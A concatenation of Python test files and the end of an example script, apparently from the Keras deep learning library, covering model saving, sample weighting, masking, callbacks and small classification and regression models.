model = Sequential()
# "Encode" the input sequence using an RNN, producing an output of HIDDEN_SIZE
# note: in a situation where your input sequences have a variable length,
# use input_shape=(None, nb_feature).
model.add(RNN(HIDDEN_SIZE, input_shape=(MAXLEN, len(chars))))
# For the decoder's input, we repeat the encoded input for each time step
model.add(RepeatVector(DIGITS + 1))
# The decoder RNN could be multiple layers stacked or a single layer
for _ in range(LAYERS):
    model.add(RNN(HIDDEN_SIZE, return_sequences=True))

# For each of step of the output sequence, decide which character should be chosen
model.add(TimeDistributed(Dense(len(chars))))
model.add(Activation('softmax'))

model.compile(loss='categorical_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

# Train the model each generation and show predictions against the validation dataset
for iteration in range(1, 200):
    print()
    print('-' * 50)
    print('Iteration', iteration)
    model.fit(X_train, y_train, batch_size=BATCH_SIZE, nb_epoch=1,
              validation_data=(X_val, y_val))
    ###
    # Select 10 samples from the validation set at random so we can visualize errors
    for i in range(10):
        ind = np.random.randint(0, len(X_val))
        rowX, rowy = X_val[np.array([ind])], y_val[np.array([ind])]
        preds = model.predict_classes(rowX, verbose=0)
        q = ctable.decode(rowX[0])
        correct = ctable.decode(rowy[0])
        guess = ctable.decode(preds[0], calc_argmax=False)
        print('Q', q[::-1] if INVERT else q)
        print('T', correct)
        print(colors.ok + '☑' + colors.close if correct == guess else colors.fail + '☒' + colors.close, guess)
        print('---')






import pytest
import os
import numpy as np
from numpy.testing import assert_allclose

from keras.models import Model, Sequential
from keras.layers import Dense, Dropout, RepeatVector, TimeDistributed
from keras.layers import Input
from keras import optimizers
from keras import objectives
from keras import metrics
from keras.utils.test_utils import keras_test
from keras.models import save_model, load_model


@keras_test
def test_sequential_model_saving():
    model = Sequential()
    model.add(Dense(2, input_dim=3))
    model.add(Dense(3))
    model.compile(loss='mse', optimizer='rmsprop', metrics=['acc'])

    x = np.random.random((1, 3))
    y = np.random.random((1, 3))
    model.train_on_batch(x, y)

    out = model.predict(x)
    fname = 'tmp_' + str(np.random.randint(10000)) + '.h5'
    save_model(model, fname)

    new_model = load_model(fname)

    out2 = new_model.predict(x)
    assert_allclose(out, out2, atol=1e-05)

    # test that new updates are the same with both models
    x = np.random.random((1, 3))
    y = np.random.random((1, 3))
    model.train_on_batch(x, y)
    new_model.train_on_batch(x, y)
    out = model.predict(x)
    out2 = new_model.predict(x)
    assert_allclose(out, out2, atol=1e-05)

    # test load_weights on model file
    model.load_weights(fname)
    os.remove(fname)


@keras_test
def test_sequential_model_saving_2():
    # test with funkier config
    model = Sequential()
    model.add(Dense(2, input_dim=3))
    model.add(RepeatVector(3))
    model.add(TimeDistributed(Dense(3)))
    model.compile(loss=objectives.MSE,
                  optimizer=optimizers.RMSprop(lr=0.0001),
                  metrics=[metrics.categorical_accuracy],
                  sample_weight_mode='temporal')
    x = np.random.random((1, 3))
    y = np.random.random((1, 3, 3))
    model.train_on_batch(x, y)

    out = model.predict(x)
    fname = 'tmp_' + str(np.random.randint(10000)) + '.h5'
    save_model(model, fname)

    new_model = load_model(fname)
    os.remove(fname)

    out2 = new_model.predict(x)
    assert_allclose(out, out2, atol=1e-05)

    # test that new updates are the same with both models
    x = np.random.random((1, 3))
    y = np.random.random((1, 3, 3))
    model.train_on_batch(x, y)
    new_model.train_on_batch(x, y)
    out = model.predict(x)
    out2 = new_model.predict(x)
    assert_allclose(out, out2, atol=1e-05)


@keras_test
def test_sequential_model_saving_3():
    # test with custom optimizer, loss
    custom_opt = optimizers.rmsprop
    custom_loss = objectives.mse
    model = Sequential()
    model.add(Dense(2, input_dim=3))
    model.add(Dense(3))
    model.compile(loss=custom_loss, optimizer=custom_opt(), metrics=['acc'])

    x = np.random.random((1, 3))
    y = np.random.random((1, 3))
    model.train_on_batch(x, y)

    out = model.predict(x)
    fname = 'tmp_' + str(np.random.randint(10000)) + '.h5'
    save_model(model, fname)

    model = load_model(fname,
                       custom_objects={'custom_opt': custom_opt,
                                       'custom_loss': custom_loss})
    os.remove(fname)

    out2 = model.predict(x)
    assert_allclose(out, out2, atol=1e-05)


@keras_test
def test_fuctional_model_saving():
    input = Input(shape=(3,))
    x = Dense(2)(input)
    output = Dense(3)(x)

    model = Model(input, output)
    model.compile(loss=objectives.MSE,
                  optimizer=optimizers.RMSprop(lr=0.0001),
                  metrics=[metrics.categorical_accuracy])
    x = np.random.random((1, 3))
    y = np.random.random((1, 3))
    model.train_on_batch(x, y)

    out = model.predict(x)
    fname = 'tmp_' + str(np.random.randint(10000)) + '.h5'
    save_model(model, fname)

    model = load_model(fname)
    os.remove(fname)

    out2 = model.predict(x)
    assert_allclose(out, out2, atol=1e-05)


@keras_test
def test_saving_without_compilation():
    model = Sequential()
    model.add(Dense(2, input_dim=3))
    model.add(Dense(3))
    model.compile(loss='mse', optimizer='sgd', metrics=['acc'])

    fname = 'tmp_' + str(np.random.randint(10000)) + '.h5'
    save_model(model, fname)
    model = load_model(fname)
    os.remove(fname)


@keras_test
def test_saving_right_after_compilation():
    model = Sequential()
    model.add(Dense(2, input_dim=3))
    model.add(Dense(3))
    model.compile(loss='mse', optimizer='sgd', metrics=['acc'])
    model.model._make_train_function()

    fname = 'tmp_' + str(np.random.randint(10000)) + '.h5'
    save_model(model, fname)
    model = load_model(fname)
    os.remove(fname)


if __name__ == '__main__':
    pytest.main([__file__])






from __future__ import absolute_import
from __future__ import print_function
import pytest
import numpy as np
np.random.seed(1337)

from keras.utils.test_utils import get_test_data
from keras.models import Sequential, Graph
from keras.layers import Dense, Activation, RepeatVector, TimeDistributedDense, GRU
from keras.utils import np_utils
from keras.utils.test_utils import keras_test

nb_classes = 10
batch_size = 128
nb_epoch = 15
weighted_class = 5
standard_weight = 1
high_weight = 10
train_samples = 5000
test_samples = 1000
timesteps = 3
input_dim = 10
loss = 'mse'

(X_train, y_train), (X_test, y_test) = get_test_data(nb_train=train_samples,
                                                     nb_test=test_samples,
                                                     input_shape=(input_dim,),
                                                     classification=True,
                                                     nb_class=nb_classes)

# convert class vectors to binary class matrices
Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)
test_ids = np.where(y_test == np.array(weighted_class))[0]

class_weight = dict([(i, standard_weight) for i in range(nb_classes)])
class_weight[weighted_class] = high_weight

sample_weight = np.ones((y_train.shape[0])) * standard_weight
sample_weight[y_train == weighted_class] = high_weight

temporal_X_train = np.reshape(X_train, (len(X_train), 1, X_train.shape[1]))
temporal_X_train = np.repeat(temporal_X_train, timesteps, axis=1)
temporal_X_test = np.reshape(X_test, (len(X_test), 1, X_test.shape[1]))
temporal_X_test = np.repeat(temporal_X_test, timesteps, axis=1)

temporal_Y_train = np.reshape(Y_train, (len(Y_train), 1, Y_train.shape[1]))
temporal_Y_train = np.repeat(temporal_Y_train, timesteps, axis=1)
temporal_Y_test = np.reshape(Y_test, (len(Y_test), 1, Y_test.shape[1]))
temporal_Y_test = np.repeat(temporal_Y_test, timesteps, axis=1)

temporal_sample_weight = np.reshape(sample_weight, (len(sample_weight), 1))
temporal_sample_weight = np.repeat(temporal_sample_weight, timesteps, axis=1)


def create_sequential_model():
    model = Sequential()
    model.add(Dense(32, input_shape=(input_dim,)))
    model.add(Activation('relu'))
    model.add(Dense(nb_classes))
    model.add(Activation('softmax'))
    return model


def create_temporal_sequential_model():
    model = Sequential()
    model.add(GRU(32, input_shape=(timesteps, input_dim), return_sequences=True))
    model.add(TimeDistributedDense(nb_classes))
    model.add(Activation('softmax'))
    return model


@keras_test
def _test_weights_sequential(model, class_weight=None, sample_weight=None,
                             X_train=X_train, Y_train=Y_train,
                             X_test=X_test, Y_test=Y_test):
    if sample_weight is not None:
        model.fit(X_train, Y_train, batch_size=batch_size,
                  nb_epoch=nb_epoch // 3, verbose=0,
                  class_weight=class_weight, sample_weight=sample_weight)
        model.fit(X_train, Y_train, batch_size=batch_size,
                  nb_epoch=nb_epoch // 3, verbose=0,
                  class_weight=class_weight, sample_weight=sample_weight,
                  validation_split=0.1)
        model.fit(X_train, Y_train, batch_size=batch_size,
                  nb_epoch=nb_epoch // 3, verbose=0,
                  class_weight=class_weight, sample_weight=sample_weight,
                  validation_data=(X_train, Y_train, sample_weight))
    else:
        model.fit(X_train, Y_train, batch_size=batch_size,
                  nb_epoch=nb_epoch // 2, verbose=0,
                  class_weight=class_weight, sample_weight=sample_weight)
        model.fit(X_train, Y_train, batch_size=batch_size,
                  nb_epoch=nb_epoch // 2, verbose=0,
                  class_weight=class_weight, sample_weight=sample_weight,
                  validation_split=0.1)

    model.train_on_batch(X_train[:32], Y_train[:32],
                         class_weight=class_weight,
                         sample_weight=sample_weight[:32] if sample_weight is not None else None)
    model.test_on_batch(X_train[:32], Y_train[:32],
                        sample_weight=sample_weight[:32] if sample_weight is not None else None)
    score = model.evaluate(X_test[test_ids, :], Y_test[test_ids, :], verbose=0)
    return score


# no weights: reference point
model = create_sequential_model()
model.compile(loss=loss, optimizer='rmsprop')
standard_score_sequential = _test_weights_sequential(model)


@keras_test
def test_sequential_class_weights():
    model = create_sequential_model()
    model.compile(loss=loss, optimizer='rmsprop')
    score = _test_weights_sequential(model, class_weight=class_weight)
    assert(score < standard_score_sequential)


@keras_test
def test_sequential_sample_weights():
    model = create_sequential_model()
    model.compile(loss=loss, optimizer='rmsprop')
    score = _test_weights_sequential(model, sample_weight=sample_weight)
    assert(score < standard_score_sequential)


@keras_test
def test_sequential_temporal_sample_weights():
    model = create_temporal_sequential_model()
    model.compile(loss=loss, optimizer='rmsprop',
                  sample_weight_mode='temporal')
    score = _test_weights_sequential(model,
                                     sample_weight=temporal_sample_weight,
                                     X_train=temporal_X_train,
                                     X_test=temporal_X_test,
                                     Y_train=temporal_Y_train,
                                     Y_test=temporal_Y_test)
    assert(score < standard_score_sequential)

    # a twist: sample-wise weights with temporal output
    model = create_temporal_sequential_model()
    model.compile(loss=loss, optimizer='rmsprop',
                  sample_weight_mode=None)
    score = _test_weights_sequential(model,
                                     sample_weight=sample_weight,
                                     X_train=temporal_X_train,
                                     X_test=temporal_X_test,
                                     Y_train=temporal_Y_train,
                                     Y_test=temporal_Y_test)
    assert(score < standard_score_sequential)


if __name__ == '__main__':
    pytest.main([__file__])






import numpy as np
import pytest

from keras.models import Sequential
from keras.engine.training import weighted_objective
from keras.layers.core import TimeDistributedDense, Masking
from keras.utils.test_utils import keras_test
from keras import objectives
from keras import backend as K


@keras_test
def test_masking():
    np.random.seed(1337)
    X = np.array([[[1], [1]],
                  [[0], [0]]])
    model = Sequential()
    model.add(Masking(mask_value=0, input_shape=(2, 1)))
    model.add(TimeDistributedDense(1, init='one'))
    model.compile(loss='mse', optimizer='sgd')
    y = np.array([[[1], [1]],
                  [[1], [1]]])
    loss = model.train_on_batch(X, y)
    assert loss == 0


@keras_test
def test_loss_masking():
    weighted_loss = weighted_objective(objectives.get('mae'))
    shape = (3, 4, 2)
    X = np.arange(24).reshape(shape)
    Y = 2 * X

    # Normally the trailing 1 is added by standardize_weights
    weights = np.ones((3,))
    mask = np.ones((3, 4))
    mask[1, 0] = 0

    out = K.eval(weighted_loss(K.variable(X),
                               K.variable(Y),
                               K.variable(weights),
                               K.variable(mask)))


if __name__ == '__main__':
    pytest.main([__file__])






from __future__ import print_function
import numpy as np
np.random.seed(1337)
import pytest
import string

from keras.utils.test_utils import get_test_data, keras_test
from keras.utils.np_utils import to_categorical
from keras.models import Sequential
from keras.layers import TimeDistributedDense
from keras.layers import Dense
from keras.layers import Activation
from keras.layers import GRU
from keras.layers import LSTM
from keras.layers import Embedding


@keras_test
def test_temporal_classification():
    '''
    Classify temporal sequences of float numbers
    of length 3 into 2 classes using
    single layer of GRU units and softmax applied
    to the last activations of the units
    '''
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=500,
                                                         nb_test=500,
                                                         input_shape=(3, 5),
                                                         classification=True,
                                                         nb_class=2)
    y_train = to_categorical(y_train)
    y_test = to_categorical(y_test)

    model = Sequential()
    model.add(GRU(y_train.shape[-1],
                  input_shape=(X_train.shape[1], X_train.shape[2]),
                  activation='softmax'))
    model.compile(loss='categorical_crossentropy',
                  optimizer='adagrad',
                  metrics=['accuracy'])
    history = model.fit(X_train, y_train, nb_epoch=20, batch_size=32,
                        validation_data=(X_test, y_test),
                        verbose=0)
    assert(history.history['val_acc'][-1] >= 0.8)


@keras_test
def test_temporal_regression():
    '''
    Predict float numbers (regression) based on sequences
    of float numbers of length 3 using a single layer of GRU units
    '''
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=500,
                                                         nb_test=400,
                                                         input_shape=(3, 5),
                                                         output_shape=(2,),
                                                         classification=False)
    model = Sequential()
    model.add(GRU(y_train.shape[-1],
                  input_shape=(X_train.shape[1], X_train.shape[2])))
    model.compile(loss='hinge', optimizer='adam')
    history = model.fit(X_train, y_train, nb_epoch=5, batch_size=16,
                        validation_data=(X_test, y_test), verbose=0)
    assert(history.history['val_loss'][-1] < 1.)


@keras_test
def test_sequence_to_sequence():
    '''
    Apply a same Dense layer for each element of time dimension of the input
    and make predictions of the output sequence elements.
    This does not make use of the temporal structure of the sequence
    (see TimeDistributedDense for more details)
    '''
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=500,
                                                         nb_test=200,
                                                         input_shape=(3, 5),
                                                         output_shape=(3, 5),
                                                         classification=False)

    model = Sequential()
    model.add(TimeDistributedDense(y_train.shape[-1],
                                   input_shape=(X_train.shape[1], X_train.shape[2])))
    model.compile(loss='hinge', optimizer='rmsprop')
    history = model.fit(X_train, y_train, nb_epoch=20, batch_size=16,
                        validation_data=(X_test, y_test), verbose=0)
    assert(history.history['val_loss'][-1] < 0.8)


@keras_test
def test_stacked_lstm_char_prediction():
    '''
    Learn alphabetical char sequence with stacked LSTM.
    Predict the whole alphabet based on the first two letters ('ab' -> 'ab...z')
    See non-toy example in examples/lstm_text_generation.py
    '''
    # generate alphabet: http://stackoverflow.com/questions/16060899/alphabet-range-python
    alphabet = string.ascii_lowercase
    number_of_chars = len(alphabet)

    # generate char sequences of length 'sequence_length' out of alphabet and store the next char as label (e.g. 'ab'->'c')
    sequence_length = 2
    sentences = [alphabet[i: i + sequence_length] for i in range(len(alphabet) - sequence_length)]
    next_chars = [alphabet[i + sequence_length] for i in range(len(alphabet) - sequence_length)]

    # Transform sequences and labels into 'one-hot' encoding
    X = np.zeros((len(sentences), sequence_length, number_of_chars), dtype=np.bool)
    y = np.zeros((len(sentences), number_of_chars), dtype=np.bool)
    for i, sentence in enumerate(sentences):
        for t, char in enumerate(sentence):
            X[i, t, ord(char)-ord('a')] = 1
        y[i, ord(next_chars[i])-ord('a')] = 1

    # learn the alphabet with stacked LSTM
    model = Sequential([
        LSTM(16, return_sequences=True, input_shape=(sequence_length, number_of_chars)),
        LSTM(16, return_sequences=False),
        Dense(number_of_chars, activation='softmax')
    ])
    model.compile(loss='categorical_crossentropy', optimizer='adam')
    model.fit(X, y, batch_size=1, nb_epoch=60, verbose=1)

    # prime the model with 'ab' sequence and let it generate the learned alphabet
    sentence = alphabet[:sequence_length]
    generated = sentence
    for iteration in range(number_of_chars-sequence_length):
        x = np.zeros((1, sequence_length, number_of_chars))
        for t, char in enumerate(sentence):
            x[0, t, ord(char) - ord('a')] = 1.
        preds = model.predict(x, verbose=0)[0]
        next_char = chr(np.argmax(preds) + ord('a'))
        generated += next_char
        sentence = sentence[1:] + next_char

    # check that it did generate the alphabet correctly
    assert(generated == alphabet)


@keras_test
def test_masked_temporal():
    '''
    Confirm that even with masking on both inputs and outputs, cross-entropies are
    of the expected scale.

    In this task, there are variable length inputs of integers from 1-9, and a random
    subset of unmasked outputs. Each of these outputs has a 50% probability of being
    the input number unchanged, and a 50% probability of being 2*input%10.

    The ground-truth best cross-entropy loss should, then be -log(0.5) = 0.69

    '''
    model = Sequential()
    model.add(Embedding(10, 20, mask_zero=True, input_length=20))
    model.add(TimeDistributedDense(10))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy',
                  optimizer='adam',
                  sample_weight_mode='temporal')

    X = np.random.random_integers(1, 9, (50000, 20))
    for rowi in range(X.shape[0]):
        padding = np.random.random_integers(X.shape[1] / 2)
        X[rowi, :padding] = 0

    # 50% of the time the correct output is the input.
    # The other 50% of the time it's 2 * input % 10
    y = (X * np.random.random_integers(1, 2, X.shape)) % 10
    Y = np.zeros((y.size, 10), dtype='int32')
    for i, target in enumerate(y.flat):
        Y[i, target] = 1
    Y = Y.reshape(y.shape + (10,))

    # Mask 50% of the outputs via sample weights
    sample_weight = np.random.random_integers(0, 1, y.shape)
    print('X shape:', X.shape)
    print('Y shape:', Y.shape)
    print('sample_weight shape:', Y.shape)

    history = model.fit(X, Y, validation_split=0.05,
                        sample_weight=None,
                        verbose=1, nb_epoch=2)
    ground_truth = -np.log(0.5)
    assert(np.abs(history.history['val_loss'][-1] - ground_truth) < 0.06)

if __name__ == '__main__':
    pytest.main([__file__])






from __future__ import print_function
import numpy as np
import pytest

from keras.utils.test_utils import get_test_data, keras_test
from keras.models import Sequential
from keras.layers.core import Dense, Flatten, Activation
from keras.layers.convolutional import Convolution2D, MaxPooling2D
from keras.utils.np_utils import to_categorical


@keras_test
def test_image_classification():
    '''
    Classify random 16x16 color images into several classes using logistic regression
    with convolutional hidden layer.
    '''
    np.random.seed(1337)
    input_shape = (3, 16, 16)
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=500,
                                                         nb_test=200,
                                                         input_shape=input_shape,
                                                         classification=True,
                                                         nb_class=4)
    y_train = to_categorical(y_train)
    y_test = to_categorical(y_test)
    # convolution kernel size
    nb_conv = 3
    # size of pooling area for max pooling
    nb_pool = 2

    model = Sequential([
        Convolution2D(nb_filter=8, nb_row=nb_conv, nb_col=nb_conv, input_shape=input_shape),
        MaxPooling2D(pool_size=(nb_pool, nb_pool)),
        Flatten(),
        Activation('relu'),
        Dense(y_test.shape[-1], activation='softmax')
    ])
    model.compile(loss='categorical_crossentropy',
                  optimizer='rmsprop',
                  metrics=['accuracy'])
    history = model.fit(X_train, y_train, nb_epoch=10, batch_size=16,
                        validation_data=(X_test, y_test),
                        verbose=0)
    assert(history.history['val_acc'][-1] > 0.85)


if __name__ == '__main__':
    pytest.main([__file__])






from __future__ import print_function
import numpy as np
import pytest

from keras.utils.test_utils import get_test_data, keras_test
from keras.models import Sequential
from keras.layers.core import Dense
from keras.utils.np_utils import to_categorical


@keras_test
def test_vector_classification():
    '''
    Classify random float vectors into 2 classes with logistic regression
    using 2 layer neural network with ReLU hidden units.
    '''
    np.random.seed(1337)
    nb_hidden = 10

    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=500,
                                                         nb_test=200,
                                                         input_shape=(20,),
                                                         classification=True,
                                                         nb_class=2)
    y_train = to_categorical(y_train)
    y_test = to_categorical(y_test)

    model = Sequential([
        Dense(nb_hidden, input_shape=(X_train.shape[-1],), activation='relu'),
        Dense(y_train.shape[-1], activation='softmax')
    ])
    model.compile(loss='categorical_crossentropy',
                  optimizer='rmsprop',
                  metrics=['accuracy'])
    history = model.fit(X_train, y_train, nb_epoch=15, batch_size=16,
                        validation_data=(X_test, y_test),
                        verbose=0)
    assert(history.history['val_acc'][-1] > 0.8)


@keras_test
def test_vector_regression():
    '''
    Perform float data prediction (regression) using 2 layer MLP
    with tanh and sigmoid activations.
    '''
    np.random.seed(1337)
    nb_hidden = 10
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=500,
                                                         nb_test=200,
                                                         input_shape=(20,),
                                                         output_shape=(2,),
                                                         classification=False)

    model = Sequential([
        Dense(nb_hidden, input_shape=(X_train.shape[-1],), activation='tanh'),
        Dense(y_train.shape[-1])
    ])

    model.compile(loss='hinge', optimizer='adagrad')
    history = model.fit(X_train, y_train, nb_epoch=20, batch_size=16,
                        validation_data=(X_test, y_test), verbose=0)
    assert (history.history['val_loss'][-1] < 0.9)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import os
import sys
import numpy as np
np.random.seed(1337)

from keras import callbacks
from keras.models import Graph, Sequential
from keras.layers.core import Dense
from keras.utils.test_utils import get_test_data
from keras import backend as K
from keras.utils import np_utils

input_dim = 2
nb_hidden = 4
nb_class = 2
batch_size = 5
train_samples = 20
test_samples = 20


def test_ModelCheckpoint():
    filepath = 'checkpoint.h5'
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=train_samples,
                                                         nb_test=test_samples,
                                                         input_shape=(input_dim,),
                                                         classification=True,
                                                         nb_class=nb_class)
    y_test = np_utils.to_categorical(y_test)
    y_train = np_utils.to_categorical(y_train)
    # case 1
    monitor = 'val_loss'
    save_best_only = False
    mode = 'auto'

    model = Sequential()
    model.add(Dense(nb_hidden, input_dim=input_dim, activation='relu'))
    model.add(Dense(nb_class, activation='softmax'))
    model.compile(loss='categorical_crossentropy',
                  optimizer='rmsprop',
                  metrics=['accuracy'])

    cbks = [callbacks.ModelCheckpoint(filepath, monitor=monitor,
                                      save_best_only=save_best_only, mode=mode)]
    model.fit(X_train, y_train, batch_size=batch_size,
              validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=1)
    assert os.path.exists(filepath)
    os.remove(filepath)

    # case 2
    mode = 'min'
    cbks = [callbacks.ModelCheckpoint(filepath, monitor=monitor,
                                      save_best_only=save_best_only, mode=mode)]
    model.fit(X_train, y_train, batch_size=batch_size,
              validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=1)
    assert os.path.exists(filepath)
    os.remove(filepath)

    # case 3
    mode = 'max'
    monitor = 'val_acc'
    cbks = [callbacks.ModelCheckpoint(filepath, monitor=monitor,
                                      save_best_only=save_best_only, mode=mode)]
    model.fit(X_train, y_train, batch_size=batch_size,
              validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=1)
    assert os.path.exists(filepath)
    os.remove(filepath)

    # case 4
    save_best_only = True
    cbks = [callbacks.ModelCheckpoint(filepath, monitor=monitor,
                                      save_best_only=save_best_only, mode=mode)]
    model.fit(X_train, y_train, batch_size=batch_size,
              validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=1)
    assert os.path.exists(filepath)
    os.remove(filepath)


def test_EarlyStopping():
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=train_samples,
                                                         nb_test=test_samples,
                                                         input_shape=(input_dim,),
                                                         classification=True,
                                                         nb_class=nb_class)
    y_test = np_utils.to_categorical(y_test)
    y_train = np_utils.to_categorical(y_train)
    model = Sequential()
    model.add(Dense(nb_hidden, input_dim=input_dim, activation='relu'))
    model.add(Dense(nb_class, activation='softmax'))
    model.compile(loss='categorical_crossentropy',
                  optimizer='rmsprop',
                  metrics=['accuracy'])
    mode = 'max'
    monitor = 'val_acc'
    patience = 0
    cbks = [callbacks.EarlyStopping(patience=patience, monitor=monitor, mode=mode)]
    history = model.fit(X_train, y_train, batch_size=batch_size,
                        validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=20)

    mode = 'auto'
    monitor = 'val_acc'
    patience = 2
    cbks = [callbacks.EarlyStopping(patience=patience, monitor=monitor, mode=mode)]
    history = model.fit(X_train, y_train, batch_size=batch_size,
                        validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=20)


def test_EarlyStopping_reuse():
    patience = 3
    data = np.random.random((100, 1))
    labels = np.where(data > 0.5, 1, 0)
    model = Sequential((
        Dense(1, input_dim=1, activation='relu'),
        Dense(1, activation='sigmoid'),
    ))
    model.compile(optimizer='sgd', loss='binary_crossentropy', metrics=['accuracy'])
    stopper = callbacks.EarlyStopping(monitor='acc', patience=patience)
    weights = model.get_weights()

    hist = model.fit(data, labels, callbacks=[stopper])
    assert len(hist.epoch) >= patience

    # This should allow training to go for at least `patience` epochs
    model.set_weights(weights)
    hist = model.fit(data, labels, callbacks=[stopper])
    assert len(hist.epoch) >= patience


def test_LearningRateScheduler():
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=train_samples,
                                                         nb_test=test_samples,
                                                         input_shape=(input_dim,),
                                                         classification=True,
                                                         nb_class=nb_class)
    y_test = np_utils.to_categorical(y_test)
    y_train = np_utils.to_categorical(y_train)
    model = Sequential()
    model.add(Dense(nb_hidden, input_dim=input_dim, activation='relu'))
    model.add(Dense(nb_class, activation='softmax'))
    model.compile(loss='categorical_crossentropy',
                  optimizer='sgd',
                  metrics=['accuracy'])

    cbks = [callbacks.LearningRateScheduler(lambda x: 1. / (1. + x))]
    model.fit(X_train, y_train, batch_size=batch_size,
              validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=5)
    assert (float(K.get_value(model.optimizer.lr)) - 0.2) < K.epsilon()


@pytest.mark.skipif((K._BACKEND != 'tensorflow'),
                    reason="Requires tensorflow backend")
def test_TensorBoard():
    import shutil
    import tensorflow as tf
    import keras.backend.tensorflow_backend as KTF
    old_session = KTF.get_session()
    filepath = './logs'
    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=train_samples,
                                                         nb_test=test_samples,
                                                         input_shape=(input_dim,),
                                                         classification=True,
                                                         nb_class=nb_class)
    y_test = np_utils.to_categorical(y_test)
    y_train = np_utils.to_categorical(y_train)

    def data_generator(train):
        if train:
            max_batch_index = len(X_train) // batch_size
        else:
            max_batch_index = len(X_test) // batch_size
        i = 0
        while 1:
            if train:
                yield (X_train[i * batch_size: (i + 1) * batch_size], y_train[i * batch_size: (i + 1) * batch_size])
            else:
                yield (X_test[i * batch_size: (i + 1) * batch_size], y_test[i * batch_size: (i + 1) * batch_size])
            i += 1
            i = i % max_batch_index

    def data_generator_graph(train):
        while 1:
            if train:
                yield {'X_vars': X_train, 'output': y_train}
            else:
                yield {'X_vars': X_test, 'output': y_test}

    # case 1 Sequential

    with tf.Graph().as_default():
        session = tf.Session('')
        KTF.set_session(session)
        model = Sequential()
        model.add(Dense(nb_hidden, input_dim=input_dim, activation='relu'))
        model.add(Dense(nb_class, activation='softmax'))
        model.compile(loss='categorical_crossentropy',
                      optimizer='sgd',
                      metrics=['accuracy'])

        tsb = callbacks.TensorBoard(log_dir=filepath, histogram_freq=1)
        cbks = [tsb]

        # fit with validation data
        model.fit(X_train, y_train, batch_size=batch_size,
                  validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=2)

        # fit with validation data and accuracy
        model.fit(X_train, y_train, batch_size=batch_size,
                  validation_data=(X_test, y_test), callbacks=cbks, nb_epoch=2)

        # fit generator with validation data
        model.fit_generator(data_generator(True), len(X_train), nb_epoch=2,
                            validation_data=(X_test, y_test),
                            callbacks=cbks)

        # fit generator without validation data
        model.fit_generator(data_generator(True), len(X_train), nb_epoch=2,
                            callbacks=cbks)

        # fit generator with validation data and accuracy
        model.fit_generator(data_generator(True), len(X_train), nb_epoch=2,
                            validation_data=(X_test, y_test),
                            callbacks=cbks)

        # fit generator without validation data and accuracy
        model.fit_generator(data_generator(True), len(X_train), nb_epoch=2,
                            callbacks=cbks)

        assert os.path.exists(filepath)
        shutil.rmtree(filepath)

    # case 2 Graph

    with tf.Graph().as_default():
        session = tf.Session('')
        KTF.set_session(session)
        model = Graph()
        model.add_input(name='X_vars', input_shape=(input_dim, ))

        model.add_node(Dense(nb_hidden, activation="sigmoid"),
                       name='Dense1', input='X_vars')
        model.add_node(Dense(nb_class, activation="softmax"),
                       name='last_dense',
                       input='Dense1')
        model.add_output(name='output', input='last_dense')
        model.compile(optimizer='sgd', loss={'output': 'mse'})

        tsb = callbacks.TensorBoard(log_dir=filepath, histogram_freq=1)
        cbks = [tsb]

        # fit with validation
        model.fit({'X_vars': X_train, 'output': y_train},
                  batch_size=batch_size,
                  validation_data={'X_vars': X_test, 'output': y_test},
                  callbacks=cbks, nb_epoch=2)

        # fit wo validation
        model.fit({'X_vars': X_train, 'output': y_train},
                  batch_size=batch_size,
                  callbacks=cbks, nb_epoch=2)

        # fit generator with validation
        model.fit_generator(data_generator_graph(True), 1000, nb_epoch=2,
                            validation_data={'X_vars': X_test, 'output': y_test},
                            callbacks=cbks)

        # fit generator wo validation
        model.fit_generator(data_generator_graph(True), 1000, nb_epoch=2,
                            callbacks=cbks)

        assert os.path.exists(filepath)
        shutil.rmtree(filepath)

    KTF.set_session(old_session)

if __name__ == '__main__':
    pytest.main([__file__])






from __future__ import absolute_import
from __future__ import print_function
import pytest
import os
import numpy as np
np.random.seed(1337)

from keras import backend as K
from keras.models import Graph, Sequential
from keras.layers.core import Dense, Activation, Merge, Lambda
from keras.utils import np_utils
from keras.utils.test_utils import get_test_data, keras_test
from keras.models import model_from_json, model_from_yaml
from keras import objectives
from keras.engine.training import make_batches


input_dim = 16
nb_hidden = 8
nb_class = 4
batch_size = 32
nb_epoch = 1


@keras_test
def test_sequential_pop():
    model = Sequential()
    model.add(Dense(nb_hidden, input_dim=input_dim))
    model.add(Dense(nb_class))
    model.compile(loss='mse', optimizer='sgd')
    x = np.random.random((batch_size, input_dim))
    y = np.random.random((batch_size, nb_class))
    model.fit(x, y, nb_epoch=1)
    model.pop()
    assert len(model.layers) == 1
    assert model.output_shape == (None, nb_hidden)
    model.compile(loss='mse', optimizer='sgd')
    y = np.random.random((batch_size, nb_hidden))
    model.fit(x, y, nb_epoch=1)


def _get_test_data():
    np.random.seed(1234)

    train_samples = 100
    test_samples = 50

    (X_train, y_train), (X_test, y_test) = get_test_data(nb_train=train_samples,
                                                         nb_test=test_samples,
                                                         input_shape=(input_dim,),
                                                         classification=True,
                                                         nb_class=4)
    y_test = np_utils.to_categorical(y_test)
    y_train = np_utils.to_categorical(y_train)
    return (X_train, y_train), (X_test, y_test)


@keras_test
def test_sequential_fit_generator():
    (X_train, y_train), (X_test, y_test) = _get_test_data()

    def data_generator(train):
        if train:
            max_batch_index = len(X_train) // batch_size
        else:
            max_batch_index = len(X_test) // batch_size
        i = 0
        while 1:
            if train:
